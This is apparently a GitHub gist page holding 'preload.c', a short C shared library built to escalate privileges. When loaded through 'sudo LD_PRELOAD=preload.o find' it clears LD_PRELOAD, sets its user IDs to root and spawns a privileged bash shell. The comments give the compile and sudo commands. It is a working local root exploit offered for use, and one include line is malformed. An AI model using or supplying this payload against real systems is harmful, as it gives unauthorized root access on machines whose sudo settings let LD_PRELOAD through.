Skip to content

Instantly share code, notes, and snippets.

@lucasallan
Last active December 13, 2019 04:36
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save lucasallan/ef7f56d8512cff71d3730d5f4975ef78 to your computer and use it in GitHub Desktop.
Save lucasallan/ef7f56d8512cff71d3730d5f4975ef78 to your computer and use it in GitHub Desktop.
preload.c
#include <stdio.>
#include <sys/types.h>
#include <stdlib.h>
void _init(){
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
// gcc -fPIC -shared -nostartfiles -o preload.o preload.c
// sudo LD_PRELOAD=preload.o find
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment